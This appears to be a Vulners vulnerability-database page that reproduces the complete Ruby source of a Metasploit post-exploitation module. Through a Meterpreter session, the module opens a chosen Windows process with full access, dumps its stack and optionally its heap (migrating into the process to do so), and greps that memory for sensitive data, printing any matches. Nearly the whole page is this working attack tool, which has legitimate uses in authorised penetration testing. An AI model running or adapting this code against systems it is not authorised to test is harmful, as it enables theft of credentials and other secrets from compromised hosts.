Lucene search
K

Windows Gather Process Memory Grep

🗓️ 19 Jul 2011 17:06:26Reported by bannedit <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 39 Views

Searching memory space of a process for sensitive data with potential loss of session

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Process Memory Grep',
        'Description' => %q{
          This module allows for searching the memory space of a process for potentially
          sensitive data.  Please note: When the HEAP option is enabled, the module will have
          to migrate to the process you are grepping, and will not migrate back automatically.
          This means that if the user terminates the application after using this module, you
          may lose your session.
        },
        'License' => MSF_LICENSE,
        'Author' => ['bannedit'],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_migrate
              stdapi_railgun_api
              stdapi_sys_process_attach
              stdapi_sys_process_getpid
              stdapi_sys_process_memory_query
              stdapi_sys_process_memory_read
              stdapi_sys_process_thread_open
            ]
          }
        }
      )
    )
    register_options([
      OptString.new('PROCESS', [true, 'Name of the process to dump memory from', nil]),
      OptRegexp.new('REGEX', [true, 'Regular expression to search for with in memory', nil]),
      OptBool.new('HEAP', [false, 'Grep from heap', false])
    ])
  end

  def get_data_from_stack(target_pid)
    proc = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS)
    stack = []
    begin
      threads = proc.thread.each_thread do |tid|
        thread = proc.thread.open(tid)
        esp = thread.query_regs['esp']
        addr = proc.memory.query(esp)
        vprint_status("Found Thread TID: #{tid}\tBaseAddress: 0x%08x\t\tRegionSize: %d bytes" % [addr['BaseAddress'], addr['RegionSize']])
        data = proc.memory.read(addr['BaseAddress'], addr['RegionSize'])
        stack << {
          'Address' => addr['BaseAddress'],
          'Size' => addr['RegionSize'],
          'Handle' => thread.handle,
          'Data' => data
        }
      end
    rescue StandardError
    end

    stack
  end

  def get_data_from_heap(target_pid)
    # we need to be inside the process to walk the heap using railgun
    heap = []
    if target_pid != client.sys.process.getpid
      print_status("Migrating into #{target_pid} to allow for dumping heap data")
      session.core.migrate(target_pid)
    end
    proc = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS)

    heap_cnt = session.railgun.kernel32.GetProcessHeaps(nil, nil)['return']
    dheap = session.railgun.kernel32.GetProcessHeap()['return']
    vprint_status('Default Process Heap: 0x%08x' % dheap)
    ret = session.railgun.kernel32.GetProcessHeaps(heap_cnt, heap_cnt * 4)
    pheaps = ret['ProcessHeaps']

    idx = 0
    handles = []
    while idx != pheaps.length
      vprint_status('Found Heap: 0x%08x' % pheaps[idx, 4].unpack('V')[0])
      handles << pheaps[idx, 4].unpack('V')[0]
      idx += 4
    end

    print_status('Walking the heap... this could take some time')
    heap = []
    handles.each do |handle|
      lpentry = "\x00" * 42
      ret = ''
      while (ret = session.railgun.kernel32.HeapWalk(handle, lpentry)) && ret['return']
        entry = ret['lpEntry'][0, 4].unpack('V')[0]
        pointer = proc.memory.read(entry, 512)
        size = ret['lpEntry'][4, 4].unpack('V')[0]
        data = proc.memory.read(entry, (size == 0) ? 1048576 : size)
        if !data.empty?
          heap << {
            'Address' => entry,
            'Size' => data.length,
            'Handle' => handle,
            'Data' => data
          }
        end
        lpentry = ret['lpEntry']
        break if (ret['GetLastError'] == 259) || (size == 0)
      end
    end

    heap
  end

  def dump_data(target_pid)
    regex = datastore['REGEX']

    get_data_from_stack(target_pid).each do |mem|
      idx = mem['Data'].index(regex)

      next if idx.nil?

      print_status('Match found on stack!')
      print_line
      data = mem['Data'][idx, 512]
      addr = mem['Address'] + idx
      print_line(Rex::Text.to_hex_dump(data, 16, addr))
    end

    # Grep from heap is optional.  If the 'HEAP' option isn't set,
    # then let's bail.
    return unless datastore['HEAP']

    get_data_from_heap(target_pid).each do |mem|
      idx = mem['Data'].index(regex)

      next if idx.nil?

      print_status('Match found on heap!')
      print_line
      data = mem['Data'][idx, 512]
      addr = mem['Address'] + idx
      print_line(Rex::Text.to_hex_dump(data, 16, addr))
    end
  end

  def run
    if session.type != 'meterpreter'
      print_error 'Only meterpreter sessions are supported by this post module'
      return
    end

    print_status("Running module against #{sysinfo['Computer']}")

    proc_name = datastore['PROCESS']

    # Collect PIDs
    pids = []
    client.sys.process.processes.each do |p|
      pids << p['pid'] if p['name'] == proc_name
    end

    if pids.empty?
      print_error("No PID found for #{proc_name}")
      return
    end

    print_status("PIDs found for #{proc_name}: #{pids * ', '}")

    pids.each do |pid|
      print_status("Searching in process: #{pid}...")
      dump_data(pid)
      print_line
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
6.8Medium risk
Vulners AI Score6.8
39